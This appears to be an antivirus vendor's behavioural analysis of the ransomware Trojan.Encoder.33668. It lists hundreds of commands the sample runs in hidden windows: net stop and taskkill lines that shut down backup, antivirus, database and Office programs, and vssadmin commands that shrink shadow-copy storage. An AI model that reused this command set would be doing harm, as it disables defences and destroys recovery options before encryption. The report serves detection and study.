Trojan.Encoder.33668

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

deletes volume shadow copies.

Executes the following

'%WINDIR%\syswow64\net.exe' stop VeeamDeploymentService /y
'%WINDIR%\syswow64\net.exe' stop AcrSch2Svc /y
'%WINDIR%\syswow64\net.exe' stop EPSecurityService /y
'%WINDIR%\syswow64\taskkill.exe' /IM sqlbrowser.exe /F
'%WINDIR%\syswow64\net.exe' stop MSExchangeES /y
'%WINDIR%\syswow64\net.exe' stop VeeamBrokerSvc /y
'%WINDIR%\syswow64\net.exe' stop mfefire /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$CXDB /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SQLEXPRESS /y
'%WINDIR%\syswow64\net.exe' stop SMTPSvc /y
'%WINDIR%\syswow64\taskkill.exe' /IM infopath.exe /F
'%WINDIR%\syswow64\net.exe' stop MsDtsServer110 /y
'%WINDIR%\syswow64\taskkill.exe' /IM Ntrtsan.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLAgent$CITRIX_METAFRAME /y
'%WINDIR%\syswow64\net.exe' stop SAVAdminService /y
'%WINDIR%\syswow64\net.exe' stop BackupExecRPCService /y
'%WINDIR%\syswow64\taskkill.exe' /IM onenote.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PRACTTICEBGC /y
'%WINDIR%\syswow64\net.exe' stop McShield /y
'%WINDIR%\syswow64\taskkill.exe' /IM PNTMon.exe /F
'%WINDIR%\syswow64\net.exe' stop ekrn /y
'%WINDIR%\syswow64\net.exe' stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\net.exe' stop Antivirus /y
'%WINDIR%\syswow64\taskkill.exe' /IM thebat64.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM mysqld-nt.exe /F
'%WINDIR%\syswow64\net.exe' stop SntpService /y
'%WINDIR%\syswow64\net.exe' stop ESHASRV /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$SYSTEM_BGC /y
'%WINDIR%\syswow64\taskkill.exe' /IM visio.exe /F
'%WINDIR%\syswow64\net.exe' stop McTaskManager /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$TPS /y
'%WINDIR%\syswow64\net.exe' stop NetMsmqActivator /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$ECWDB2 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SYSTEM_BGC /y
'%WINDIR%\syswow64\taskkill.exe' /IM tmlisten.exe /F
'%WINDIR%\syswow64\net.exe' stop RESvc /y
'%WINDIR%\syswow64\net.exe' stop TrueKey /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Agent" /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$TPSAMA /y
'%WINDIR%\syswow64\taskkill.exe' /IM orale.exe /F
'%WINDIR%\syswow64\net.exe' stop MSSQL$VEEAMSQL2012 /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$ECWDB2 /y
'%WINDIR%\syswow64\net.exe' stop KAVFSGT /y
'%WINDIR%\syswow64\net.exe' stop MSSQLServerOLAPService /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeMTA /y
'%WINDIR%\syswow64\net.exe' stop IMAP4Svc /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SOPHOS /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PRACTTICEMGT /y
'%WINDIR%\syswow64\taskkill.exe' /IM mydesktopservie.exe /F
'%WINDIR%\syswow64\net.exe' stop "Sophos AutoUpdate Service" /y
'%WINDIR%\syswow64\net.exe' stop TrueKeyServiceHelper /y
'%WINDIR%\syswow64\taskkill.exe' /IM NTAoSMgr.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLWriter /y
'%WINDIR%\syswow64\taskkill.exe' /IM zoolz.exe /F
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$TPS /y
'%WINDIR%\syswow64\net.exe' stop ShMonitor /y
'%WINDIR%\syswow64\net.exe' stop BackupExecDeviceMediaService /y
'%WINDIR%\syswow64\taskkill.exe' /IM thebat.exe /F
'%WINDIR%\syswow64\net.exe' stop EhttpSrv /y
'%WINDIR%\syswow64\net.exe' stop MBAMService /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop MMS /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net.exe' stop EraserSvc11710 /y
'%WINDIR%\syswow64\net.exe' stop bedbg /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop sacsvr /y
'%WINDIR%\syswow64\net.exe' stop “SQLsafe Backup Service” /y
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\net.exe' stop WRSVC /y
'%WINDIR%\syswow64\taskkill.exe' /IM isqlplussv.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM agntsv.exe /F
'%WINDIR%\syswow64\net.exe' stop OracleClientCache80 /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeSRS /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Health Service" /y
'%WINDIR%\syswow64\net.exe' stop “Enterprise Client Service” /y
'%WINDIR%\syswow64\net.exe' stop AVP /y
'%WINDIR%\syswow64\net.exe' stop MBEndpointAgent /y
'%WINDIR%\syswow64\net.exe' stop McAfeeEngineService /y
'%WINDIR%\syswow64\net.exe' stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PROD /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Safestore Service" /y
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\net.exe' stop mfemms /y
'%WINDIR%\syswow64\taskkill.exe' /IM mysqld-opt.exe /F
'%WINDIR%\syswow64\net.exe' stop IISAdmin /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeSA /y
'%WINDIR%\syswow64\taskkill.exe' /IM xfssvon.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM ensv.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop macmnsvc /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SOPHOS /y
'%WINDIR%\syswow64\net.exe' stop MsDtsServer /y
'%WINDIR%\syswow64\taskkill.exe' /IM winword.exe /F
'%WINDIR%\syswow64\net.exe' stop VSS /y
'%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop swi_service /y
'%WINDIR%\syswow64\net.exe' stop mfevtp /y
'%WINDIR%\syswow64\net.exe' stop SepMasterService /y
'%WINDIR%\syswow64\taskkill.exe' /IM tbirdonfig.exe /F
'%WINDIR%\syswow64\net.exe' stop ReportServer$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PRACTTICEBGC /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SQLEXPRESS /y
'%WINDIR%\syswow64\net.exe' stop mozyprobackup /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop "Sophos File Scanner Service" /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop ReportServer /y
'%WINDIR%\syswow64\net.exe' stop VeeamNFSSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamMountSvc /y
'%WINDIR%\syswow64\net.exe' stop POP3Svc /y
'%WINDIR%\syswow64\net.exe' stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$BKUPEXEC /y
'%WINDIR%\syswow64\taskkill.exe' /IM outlook.exe /F
'%WINDIR%\syswow64\net.exe' stop MySQL80 /y
'%WINDIR%\syswow64\net.exe' stop ntrtscan /y
'%WINDIR%\syswow64\net.exe' stop KAVFS /y
'%WINDIR%\syswow64\net.exe' stop PDVFSService /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net.exe' stop wbengine /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Message Router" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos MCS Agent" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos MCS Client" /y
'%WINDIR%\syswow64\net.exe' stop kavfsslp /y
'%WINDIR%\syswow64\taskkill.exe' /IM steam.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLTELEMETRY /y
'%WINDIR%\syswow64\net.exe' stop “Veeam Backup Catalog Data Service” /y
'%WINDIR%\syswow64\net.exe' stop masvc /y
'%WINDIR%\syswow64\net.exe' stop sophossps /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SYSTEM_BGC /y
'%WINDIR%\syswow64\taskkill.exe' /IM mysqld.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLTELEMETRY$ECWDB2 /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Device Control Service" /y
'%WINDIR%\syswow64\net.exe' stop TrueKeyScheduler /y
'%WINDIR%\syswow64\taskkill.exe' /IM dbeng50.exe /F
'%WINDIR%\syswow64\net.exe' stop SAVService /y
'%WINDIR%\syswow64\net.exe' stop “SQLsafe Filter Service” /y
'%WINDIR%\syswow64\taskkill.exe' /IM sqlagent.exe /F
'%WINDIR%\syswow64\net.exe' stop VeeamCloudSvc /y
'%WINDIR%\syswow64\net.exe' stop swi_update /y
'%WINDIR%\syswow64\net.exe' stop SDRSVC /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher /y
'%WINDIR%\syswow64\net.exe' stop swi_filter /y
'%WINDIR%\syswow64\net.exe' stop AcronisAgent /y
'%WINDIR%\syswow64\net.exe' stop SstpSvc /y
'%WINDIR%\syswow64\taskkill.exe' /IM mspub.exe /F
'%WINDIR%\syswow64\net.exe' stop VeeamDeploySvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamBackupSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamCatalogSvc /y
'%WINDIR%\syswow64\taskkill.exe' /IM oomm.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLAgent$TPS /y
'%WINDIR%\syswow64\taskkill.exe' /IM powerpnt.exe /F
'%WINDIR%\syswow64\net.exe' stop svcGenericHost /y
'%WINDIR%\syswow64\net.exe' stop swi_update_64 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$BKUPEXEC /y
'%WINDIR%\syswow64\net.exe' stop ARSM /y
'%WINDIR%\syswow64\net.exe' stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\taskkill.exe' /IM mydesktopqos.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM msftesql.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM sqlwriter.exe /F
'%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100 /y
'%WINDIR%\syswow64\net.exe' stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\net.exe' stop EPUpdateService /y
'%WINDIR%\syswow64\net.exe' stop VeeamRESTSvc /y
'%WINDIR%\syswow64\net.exe' stop SmcService /y
'%WINDIR%\syswow64\net.exe' stop VeeamEnterpriseManagerSvc /y
'%WINDIR%\syswow64\taskkill.exe' /IM sqlservr.exe /F
'%WINDIR%\syswow64\net.exe' stop "SQL Backups" /y
'%WINDIR%\syswow64\net.exe' stop SQLSafeOLRService /y
'%WINDIR%\syswow64\net.exe' stop VeeamTransportSvc /y
'%WINDIR%\syswow64\net.exe' stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\net.exe' stop MySQL57 /y
'%WINDIR%\syswow64\taskkill.exe' /IM sqboreservie.exe /F
'%WINDIR%\syswow64\net.exe' stop BackupExecManagementService /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Clean Service" /y
'%WINDIR%\syswow64\net.exe' stop tmlisten /y
'%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT /y
'%WINDIR%\syswow64\net.exe' stop SNAC /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Web Control Service" /y
'%WINDIR%\syswow64\net.exe' stop SamSs /y
'%WINDIR%\syswow64\taskkill.exe' /IM mbamtray.exe /F
'%WINDIR%\syswow64\net.exe' stop UI0Detect /y
'%WINDIR%\syswow64\taskkill.exe' /IM syntime.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLAgent$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PRACTICEMGT /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$SQL_2008 /y
'%WINDIR%\syswow64\taskkill.exe' /IM dbsnmp.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM ossd.exe /F
'%WINDIR%\syswow64\net.exe' stop "Sophos System Protection Service" /y
'%WINDIR%\syswow64\net.exe' stop EsgShKernel /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SBSMONITORING /y
'%WINDIR%\syswow64\net.exe' stop W3Svc /y
'%WINDIR%\syswow64\taskkill.exe' /IM exel.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLAgent$VEEAMSQL2012 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SBSMONITORING /y
'%WINDIR%\syswow64\taskkill.exe' /IM firefoxonfig.exe /F
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PROD /y
'%WINDIR%\syswow64\net.exe' stop MsDtsServer100 /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$TPS /y
'%WINDIR%\syswow64\net.exe' stop SQLBrowser /y
'%WINDIR%\syswow64\net.exe' stop msftesql$PROD /y
'%WINDIR%\syswow64\net.exe' stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\net.exe' stop FA_Scheduler /y
'%WINDIR%\syswow64\net.exe' stop TmCCSF /y
'%WINDIR%\syswow64\net.exe' stop McAfeeFrameworkMcAfeeFramework /y
'%WINDIR%\syswow64\net.exe' stop McAfeeFramework /y
'%WINDIR%\syswow64\net.exe' stop VeeamHvIntegrationSvc /y
'%WINDIR%\syswow64\taskkill.exe' /IM wordpad.exe /F
'%WINDIR%\syswow64\net.exe' stop DCAgent /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$TPS /y
'%WINDIR%\syswow64\net.exe' stop "Symantec System Recovery" /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop Smcinst /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeMGMT /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SBSMONITORING /y
'%WINDIR%\syswow64\taskkill.exe' /IM oautoupds.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM msaess.exe /F
'%WINDIR%\syswow64\net.exe' stop MSSQLSERVER /y
'%WINDIR%\syswow64\net.exe' stop BackupExecJobEngine /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeIS /y
'%WINDIR%\syswow64\net.exe' stop “Acronis VSS Provider” /y
'%WINDIR%\syswow64\taskkill.exe' /IM thunderbird.exe /F
'%WINDIR%\syswow64\net.exe' stop MSSQL$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net.exe' stop klnagent /y

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Creates and executes the following

'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamDeploymentService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeES /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop EPSecurityService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamBrokerSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$CXDB /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop mfefire /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SQLEXPRESS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM infopath.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SMTPSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM Ntrtsan.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ESHASRV /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MsDtsServer110 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqlbrowser.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SAVAdminService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecRPCService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$PRACTTICEBGC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM PNTMon.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop McShield /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop Antivirus /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ekrn /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM thebat64.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecAgentAccelerator /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mysqld-nt.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SntpService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$CITRIX_METAFRAME /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSOLAP$SYSTEM_BGC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM onenote.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop AcrSch2Svc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM visio.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop McTaskManager /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$TPS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop NetMsmqActivator /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$ECWDB2 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SYSTEM_BGC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SYSTEM_BGC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM tmlisten.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop RESvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$PROFXENGAGEMENT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop TrueKey /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Agent" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$PROFXENGAGEMENT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM orale.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer$TPSAMA /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$ECWDB2 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop KAVFSGT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$SQL_2008 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLServerOLAPService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeMTA /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SOPHOS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop IMAP4Svc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer$SQL_2008 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mydesktopservie.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$PRACTTICEMGT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$VEEAMSQL2012 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos AutoUpdate Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamNFSSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$SHAREPOINT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "SQLsafe Backup Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop McAfeeEngineService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$TPS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecDeviceMediaService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ShMonitor /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM thebat.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MBAMService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop EhttpSrv /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$PROFXENGAGEMENT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MMS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SQL_2008 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop EraserSvc11710 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$PROD /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM zoolz.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop sacsvr /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "SQLsafe Filter Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop bedbg /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop WRSVC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM isqlplussv.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeSRS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop OracleClientCache80 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Health Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM agntsv.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop “Enterprise Client Service” /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MBEndpointAgent /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop AVP /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$TPSAMA /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop “SQLsafe Backup Service” /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSOLAP$TPSAMA /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos File Scanner Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM firefoxonfig.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mysqld-opt.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop IISAdmin /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeSA /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM xfssvon.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM ensv.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop macmnsvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SHAREPOINT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SOPHOS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VSS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MsDtsServer /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM winword.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLServerADHelper /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SQL_2008 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SepMasterService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop mfevtp /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop swi_service /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer$SYSTEM_BGC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM tbirdonfig.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$PRACTTICEBGC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SQLEXPRESS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop mozyprobackup /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop TrueKeyServiceHelper /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$TPSAMA /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop mfemms /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLWriter /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SBSMONITORING /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Veeam Backup Catalog Data Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM exel.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Zoolz 2 Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM outlook.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ntrtscan /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MySQL80 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop PDVFSService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop KAVFS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop wbengine /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$VEEAMSQL2008R2 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Message Router" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop kavfsslp /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqlagent.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos MCS Client" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$BKUPEXEC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLTELEMETRY /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop “Veeam Backup Catalog Data Service” /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop masvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$SYSTEM_BGC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop sophossps /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mysqld.exe /F' (with hidden window)
